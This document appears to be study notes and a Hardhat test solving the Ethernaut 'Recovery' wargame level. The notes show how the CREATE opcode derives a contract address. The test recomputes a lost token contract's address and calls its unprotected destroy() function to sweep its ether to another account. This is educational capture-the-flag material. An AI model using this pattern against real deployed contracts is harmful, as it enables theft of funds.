CREATE opcode

keccak256(rlp.encode([creator_address, creator_nonce])) // gives 32 bytes

The nonce of the account at the time of contract creation:

Process

0x1234abcd....deadbeef (take the last 20 bytes)

// A hardhat test for solving Ethernaut Recovery

import { expect } from "chai";
import hre from "hardhat";
import { Recovery, SimpleToken } from "../typechain-types";
import { encodeRlp, keccak256, getAddress, toBeHex } from "ethers";
import {
    loadFixture,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";

describe("Recovery Exploit", function () {

    async function deployPreservationFixtures() {

        const [owner, otherAccount] = await hre.ethers.getSigners();

        const recoveryAddress = "0xfeFB65f7A52c3d7C90196d2FeaefEf6a9A7A50b8";

        // get a pointer to the deployed Recovery
        const recovery: Recovery = (await hre.ethers.getContractAt(
            "Recovery",
            recoveryAddress
        )) as Recovery;

        return { recovery, owner, otherAccount, recoveryAddress };
    };
    describe("Find the contract", function () {
        it("Find the deployed SimpleToken Contract", async function () {
            const { recovery, owner, otherAccount, recoveryAddress } = await loadFixture(deployPreservationFixtures);

            const creationNonce = 1; // because it was the first contract deployed by Recovery

            const simpleTokenAddress = computeCreateAddress(recoveryAddress, creationNonce);
            console.log("SimpleToken deployed at:", simpleTokenAddress);

            const simpleToken: SimpleToken = (await hre.ethers.getContractAt(
                "SimpleToken",
                simpleTokenAddress
            )) as SimpleToken;

            const balance = await hre.ethers.provider.getBalance(otherAccount.address);
            console.log("balance", balance);

            const resp = await simpleToken.destroy(otherAccount);
            const receipt = await resp.wait();

            const newBalance = await hre.ethers.provider.getBalance(otherAccount.address);
            console.log("newBalance", newBalance);
            expect(newBalance).greaterThan(balance);
        });

    });
});

// this function will generate the hex of the address that Recovery generates with CREATE
function computeCreateAddress(deployer: string, nonce: number | bigint): string {
    // get address of Recover
    const normalized = getAddress(deployer);
    // we first RLP encode address and its nonce
    // nonce is 1 as it is the first contract
    const encoded = encodeRlp([
        normalized,
        toBeHex(nonce, 1), //  convert to hex string
    ]);
    // the we convert the encoded RLP value to 32 bytes hex string (64 hex chars)
    // 1 byte = 2 hex characters 
    const hash = keccak256(encoded);
    // then remobe the 20 byte address, which is 40 hex chars
    return `0x${hash.slice(-40)}`;
}

CREATE

Derivation

keccak256(rlp.encode([sender_address, sender_nonce])) → last 20 bytes

Shortcomings of CREATE